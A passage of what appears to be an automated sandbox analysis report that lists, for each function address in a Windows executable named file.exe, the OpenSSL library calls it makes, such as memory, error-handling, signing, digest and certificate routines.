Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE005066E0 CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,	1_2_00007FFE005066E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004B4790 CRYPTO_get_ex_new_index,	1_2_00007FFE004B4790
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1771 CRYPTO_free,	1_2_00007FFE004A1771
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A22D4 CRYPTO_malloc,CONF_parse_list,CRYPTO_memdup,CRYPTO_free,CRYPTO_free,	1_2_00007FFE004A22D4
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE0051A770 BN_bin2bn,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_strdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE0051A770
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004E8810 CRYPTO_malloc,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,	1_2_00007FFE004E8810
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A136B ERR_new,ERR_set_debug,CRYPTO_THREAD_read_lock,CRYPTO_THREAD_unlock,ERR_new,ERR_set_debug,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,memset,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE004A136B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE00514809 CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE00514809
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A17DF ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_realloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_realloc,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE004A17DF
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004B47F0 i2d_X509_NAME,i2d_X509_NAME,memcmp,CRYPTO_free,CRYPTO_free,	1_2_00007FFE004B47F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A13DE EVP_MD_CTX_new,ERR_new,ERR_set_debug,EVP_PKEY_free,CRYPTO_free,EVP_MD_CTX_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_get_security_bits,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_free,EVP_PKEY_get_bn_param,EVP_PKEY_get_bn_param,ERR_new,ERR_set_debug,EVP_PKEY_free,CRYPTO_free,EVP_MD_CTX_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_get1_encoded_public_key,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_free,CRYPTO_free,EVP_MD_CTX_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,BN_num_bits,BN_num_bits,memset,BN_num_bits,BN_bn2bin,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_MD_get0_name,EVP_DigestSignInit_ex,ERR_new,ERR_set_debug,EVP_PKEY_CTX_set_rsa_padding,EVP_PKEY_CTX_set_rsa_pss_saltlen,ERR_new,ERR_set_debug,EVP_DigestSign,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,EVP_MD_CTX_free,BN_free,BN_free,BN_free,BN_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE004A13DE
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A2577 ERR_new,ERR_set_debug,CRYPTO_free,BIO_clear_flags,BIO_set_flags,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,OPENSSL_cleanse,	1_2_00007FFE004A2577
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1181 CRYPTO_free,CRYPTO_free,CRYPTO_free,	1_2_00007FFE004A1181
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1A05 ERR_new,ERR_set_debug,ERR_set_error,ASN1_item_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,memcpy,_time64,X509_free,memcpy,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,ASN1_item_free,	1_2_00007FFE004A1A05
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE0050A930 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,	1_2_00007FFE0050A930
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A17F8 EVP_MD_CTX_new,EVP_PKEY_new_raw_private_key_ex,EVP_DigestSignInit_ex,EVP_DigestSign,EVP_MD_CTX_free,EVP_PKEY_free,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,_time64,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_MD_CTX_free,EVP_PKEY_free,ERR_new,ERR_set_debug,EVP_MD_CTX_free,EVP_PKEY_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE004A17F8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A2365 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,memcpy,CRYPTO_free,CRYPTO_free,	1_2_00007FFE004A2365
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1A41 CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,memcmp,ERR_new,ERR_set_debug,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE004A1A41
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004B6990 CRYPTO_THREAD_run_once,OPENSSL_sk_find,OPENSSL_sk_value,EVP_CIPHER_fetch,EVP_CIPHER_get_flags,	1_2_00007FFE004B6990
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004B4980 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,BIO_snprintf,	1_2_00007FFE004B4980
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004BE948 CRYPTO_free,	1_2_00007FFE004BE948
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1811 CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,	1_2_00007FFE004A1811
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1A32 CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,	1_2_00007FFE004A1A32
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004E8A90 CRYPTO_malloc,ERR_new,ERR_set_debug,	1_2_00007FFE004E8A90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A110E EVP_PKEY_free,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_MD_CTX_new,ERR_new,ERR_set_debug,EVP_DigestVerifyInit_ex,ERR_new,ERR_set_debug,ERR_new,CRYPTO_free,ERR_new,ERR_set_debug,EVP_MD_CTX_free,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_MD_CTX_free,	1_2_00007FFE004A110E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A117C _time64,OPENSSL_LH_retrieve,OPENSSL_LH_delete,CRYPTO_THREAD_unlock,	1_2_00007FFE004A117C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A20E0 CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE004A20E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A4B10 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE004A4B10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A213F EVP_CIPHER_get_mode,EVP_CIPHER_get_mode,EVP_CIPHER_get_iv_length,EVP_CIPHER_get_key_length,CRYPTO_malloc,ERR_new,ERR_set_debug,	1_2_00007FFE004A213F
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A2464 CRYPTO_memcmp,ERR_new,ERR_set_debug,memchr,ERR_new,CRYPTO_free,CRYPTO_free,CRYPTO_strndup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE004A2464
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004BCB40 CRYPTO_free,CRYPTO_free,CRYPTO_free_ex_data,OPENSSL_LH_free,X509_STORE_free,CTLOG_STORE_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_secure_free,EVP_MD_get0_provider,EVP_MD_free,EVP_MD_get0_provider,EVP_MD_free,EVP_CIPHER_get0_provider,EVP_CIPHER_free,EVP_MD_get0_provider,EVP_MD_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_free,CRYPTO_free,	1_2_00007FFE004BCB40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004CEB40 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,_time64,CRYPTO_THREAD_lock_new,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_new_ex_data,CRYPTO_THREAD_lock_free,ERR_new,ERR_set_debug,CRYPTO_free_ex_data,OPENSSL_cleanse,OPENSSL_cleanse,X509_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_clear_free,memcpy,	1_2_00007FFE004CEB40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004E2C10 CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,	1_2_00007FFE004E2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004BEC00 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,BUF_MEM_free,EVP_MD_CTX_free,X509_free,X509_VERIFY_PARAM_move_peername,CRYPTO_free,	1_2_00007FFE004BEC00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004D4C28 EVP_MAC_CTX_free,CRYPTO_free,	1_2_00007FFE004D4C28
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A4BD0 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE004A4BD0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1F87 CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,	1_2_00007FFE004A1F87
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004F6C40 CRYPTO_realloc,	1_2_00007FFE004F6C40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A11A9 EVP_MAC_CTX_free,CRYPTO_free,	1_2_00007FFE004A11A9
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004C8D10 CRYPTO_free,EVP_PKEY_free,CRYPTO_free,	1_2_00007FFE004C8D10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A21E4 ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,memcpy,ERR_new,ERR_set_debug,	1_2_00007FFE004A21E4
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE00500D30 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,	1_2_00007FFE00500D30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004CCD30 CRYPTO_THREAD_write_lock,OPENSSL_sk_new_null,OPENSSL_LH_delete,OPENSSL_sk_push,OPENSSL_LH_set_down_load,CRYPTO_THREAD_unlock,OPENSSL_sk_pop_free,	1_2_00007FFE004CCD30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A2112 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,	1_2_00007FFE004A2112
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE0050ACD0 CRYPTO_free,CRYPTO_free,CRYPTO_free,	1_2_00007FFE0050ACD0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004D8D90 CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE004D8D90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1A23 BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,CRYPTO_strdup,CRYPTO_strdup,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,	1_2_00007FFE004A1A23
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A195B CRYPTO_zalloc,EVP_MAC_free,EVP_MAC_CTX_free,CRYPTO_free,	1_2_00007FFE004A195B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1E65 ERR_new,ERR_set_debug,CRYPTO_clear_free,	1_2_00007FFE004A1E65
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004ACDC0 CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_clear_free,CRYPTO_free,CRYPTO_free,EVP_PKEY_free,EVP_PKEY_free,CRYPTO_free,CRYPTO_free,memset,CRYPTO_free,	1_2_00007FFE004ACDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004F0E50 CRYPTO_memcmp,	1_2_00007FFE004F0E50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A105F ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,CRYPTO_clear_free,CRYPTO_clear_free,	1_2_00007FFE004A105F
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004F6E70 CRYPTO_malloc,CRYPTO_malloc,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	1_2_00007FFE004F6E70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1677 CRYPTO_THREAD_write_lock,OPENSSL_LH_retrieve,OPENSSL_LH_delete,CRYPTO_THREAD_unlock,	1_2_00007FFE004A1677
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A4FA0 CRYPTO_free,	1_2_00007FFE004A4FA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A2374 CRYPTO_free,	1_2_00007FFE004A2374
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE00502F60 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_get1_encoded_public_key,ERR_new,ERR_set_debug,EVP_PKEY_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,EVP_PKEY_free,	1_2_00007FFE00502F60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1B90 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,	1_2_00007FFE004A1B90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1393 OSSL_PROVIDER_do_all,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,memcpy,	1_2_00007FFE004A1393
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A2121 memcpy,CRYPTO_THREAD_read_lock,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,memcmp,ERR_new,ERR_set_debug,_time64,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE004A2121
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004AF060 CRYPTO_free,CRYPTO_memdup,	1_2_00007FFE004AF060
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE00501126 CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,	1_2_00007FFE00501126
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1262 X509_free,EVP_PKEY_free,OPENSSL_sk_pop_free,CRYPTO_free,	1_2_00007FFE004A1262
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004F10C0 CRYPTO_free,CRYPTO_memdup,	1_2_00007FFE004F10C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004CD0C0 CRYPTO_free_ex_data,OPENSSL_cleanse,OPENSSL_cleanse,X509_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_clear_free,	1_2_00007FFE004CD0C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE0050B0D0 CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	1_2_00007FFE0050B0D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A111D CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,EVP_PKEY_up_ref,X509_up_ref,EVP_PKEY_up_ref,X509_chain_up_ref,CRYPTO_malloc,memcpy,CRYPTO_malloc,memcpy,ERR_new,ERR_set_debug,ERR_set_error,EVP_PKEY_free,X509_free,EVP_PKEY_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,X509_STORE_free,X509_STORE_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_free,ERR_new,CRYPTO_malloc,memcpy,CRYPTO_memdup,X509_STORE_up_ref,X509_STORE_up_ref,CRYPTO_strdup,	1_2_00007FFE004A111D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A20EF CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,CRYPTO_free,	1_2_00007FFE004A20EF
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE0050D170 CRYPTO_malloc,ERR_new,ERR_set_debug,memcpy,	1_2_00007FFE0050D170
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004AD140 CRYPTO_free,CRYPTO_strdup,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE004AD140
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1483 CRYPTO_free,CRYPTO_strndup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE004A1483
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE00503210 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_get1_encoded_public_key,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,EVP_PKEY_free,	1_2_00007FFE00503210
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004AB200 CRYPTO_clear_free,	1_2_00007FFE004AB200
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A230B ERR_new,ERR_set_debug,_time64,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_new,EVP_MD_fetch,ERR_new,ERR_new,ERR_set_debug,EVP_MD_free,EVP_MD_get_size,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,EVP_MD_free,CRYPTO_free,	1_2_00007FFE004A230B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004E52A0 CRYPTO_free,	1_2_00007FFE004E52A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A155A ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_get1_encoded_public_key,ERR_new,ERR_set_debug,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,	1_2_00007FFE004A155A
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A144C EVP_MD_CTX_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_MD_CTX_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,memcpy,	1_2_00007FFE004A144C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1ED8 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,OPENSSL_sk_find,CRYPTO_free,ERR_new,ERR_set_debug,OPENSSL_sk_push,CRYPTO_free,ERR_new,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE004A1ED8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1992 ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_zalloc,CRYPTO_THREAD_lock_new,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_strdup,OPENSSL_LH_new,X509_STORE_new,CTLOG_STORE_new_ex,OPENSSL_sk_num,X509_VERIFY_PARAM_new,OPENSSL_sk_new_null,OPENSSL_sk_new_null,CRYPTO_new_ex_data,CRYPTO_secure_zalloc,RAND_bytes_ex,RAND_priv_bytes_ex,RAND_priv_bytes_ex,RAND_priv_bytes_ex,ERR_new,ERR_set_debug,	1_2_00007FFE004A1992
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1997 ERR_new,ERR_set_debug,EVP_PKEY_CTX_new_from_pkey,CRYPTO_malloc,ERR_new,ERR_set_debug,EVP_PKEY_decapsulate,ERR_new,ERR_new,ERR_set_debug,CRYPTO_clear_free,EVP_PKEY_CTX_free,	1_2_00007FFE004A1997
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004ED2F0 RAND_bytes_ex,CRYPTO_malloc,memset,	1_2_00007FFE004ED2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004AD2E1 CRYPTO_free,	1_2_00007FFE004AD2E1
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004F12E0 ERR_new,ERR_set_debug,EVP_PKEY_get1_encoded_public_key,CRYPTO_free,ERR_new,ERR_set_debug,EVP_PKEY_free,CRYPTO_free,	1_2_00007FFE004F12E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1ACD ERR_new,ERR_set_debug,CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,memcpy,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,memcpy,ERR_new,memcpy,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,	1_2_00007FFE004A1ACD
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004E9370 ERR_new,ERR_set_debug,EVP_MD_CTX_get0_md,EVP_MD_get_size,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_memcmp,ERR_set_mark,ERR_pop_to_mark,ERR_new,ERR_set_debug,ERR_clear_last_mark,EVP_MD_CTX_get0_md,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,	1_2_00007FFE004E9370
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A11BD CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,memcpy,CRYPTO_free,CRYPTO_free,	1_2_00007FFE004A11BD
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE00503420 ERR_new,ERR_set_debug,X509_get0_pubkey,EVP_PKEY_CTX_new_from_pkey,ERR_new,ERR_set_debug,CRYPTO_malloc,EVP_PKEY_encrypt_init,RAND_bytes_ex,EVP_MD_CTX_new,EVP_DigestInit,EVP_DigestUpdate,EVP_DigestUpdate,EVP_DigestFinal_ex,EVP_MD_CTX_free,EVP_PKEY_CTX_ctrl,EVP_PKEY_encrypt,EVP_PKEY_CTX_free,ERR_new,ERR_set_debug,EVP_PKEY_CTX_free,CRYPTO_clear_free,EVP_MD_CTX_free,	1_2_00007FFE00503420
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004EF490 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE004EF490
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A193D CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE004A193D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1023 ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,	1_2_00007FFE004A1023
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004D3460 CRYPTO_malloc,CRYPTO_realloc,ERR_new,ERR_set_debug,ERR_set_error,memset,OSSL_PARAM_locate_const,CRYPTO_strdup,ERR_new,ERR_set_debug,OSSL_PARAM_locate_const,CRYPTO_strdup,ERR_new,OSSL_PARAM_locate_const,OSSL_PARAM_locate_const,CRYPTO_strdup,ERR_new,OSSL_PARAM_locate_const,OSSL_PARAM_get_uint,OSSL_PARAM_locate_const,OSSL_PARAM_get_uint,ERR_new,OSSL_PARAM_locate_const,OSSL_PARAM_locate_const,OSSL_PARAM_get_int,OSSL_PARAM_locate_const,OSSL_PARAM_get_int,OSSL_PARAM_locate_const,OSSL_PARAM_get_int,ERR_set_mark,EVP_KEYMGMT_free,ERR_pop_to_mark,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,CRYPTO_free,	1_2_00007FFE004D3460
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A12CB CRYPTO_THREAD_run_once,	1_2_00007FFE004A12CB
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004B14E0 CRYPTO_free,CRYPTO_strndup,	1_2_00007FFE004B14E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004AF540 EVP_PKEY_CTX_new_from_pkey,EVP_PKEY_derive_set_peer,EVP_PKEY_is_a,CRYPTO_malloc,ERR_new,ERR_set_debug,EVP_PKEY_derive,ERR_new,ERR_new,ERR_set_debug,CRYPTO_clear_free,EVP_PKEY_CTX_free,ERR_new,ERR_set_debug,	1_2_00007FFE004AF540
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE00515540 CRYPTO_memcmp,	1_2_00007FFE00515540
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004E35E0 CRYPTO_free,CRYPTO_free,OPENSSL_cleanse,CRYPTO_free,CRYPTO_free,OPENSSL_cleanse,CRYPTO_free,CRYPTO_free,	1_2_00007FFE004E35E0
